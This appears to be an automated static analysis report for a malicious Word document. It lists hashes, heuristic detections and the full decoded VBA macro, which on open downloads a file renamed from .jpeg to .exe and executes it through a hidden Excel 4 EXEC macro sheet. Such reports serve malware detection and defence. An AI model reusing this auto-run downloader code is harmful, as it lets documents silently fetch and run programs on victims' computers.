Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 752cdc240bd500a3…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2021-02-17 01:41:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-03-01
MD5: 75319d6ee9b9be1be74969e1bf536a1e SHA-1: 22ba8a5733f06df7bbbc86945c5797537fd2ee2c SHA-256: 752cdc240bd500a39c30613304983c5bc5c01c8b87ff95c23c797b79bbb30a51
138 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Image = Environ("ProgramData") & "\image.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpegReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1380 bytes
SHA-256: ac5311fd2a570be7ab96b59119554515b5f86aac72f6beaae448807cc13244ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URL Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()

Dim ExcelSheet As Object
Dim strMacro As String

Set ExcelSheet = CreateObject("Excel.Application")
Set Workbook = ExcelSheet.workbooks.Add()
Set Worksheets = ExcelSheet.Worksheets
Image = Environ("ProgramData") & "\image.exe"
ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0


Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next

ExcelSheet.Range("A1").Name = "ok"

ExcelSheet.Range("A108").Value = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg"

URL 0, Replace(ExcelSheet.Range("A108").Value, "jpeg", "exe"), Image, 0, 0



ExcelSheet.Range("A122") = "=EXEC(" + Image + ")"

ExcelSheet.Sheets(1).Visible = 2

strMacro = "ok"

ExcelSheet.Run (strMacro)

ExcelSheet.Application.Quit

Set ExcelSheet = Nothing

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 61ef8efaa6db1b5fba2b165f46cad61960909313ef3de8ea3d5bf5cd47dac8b8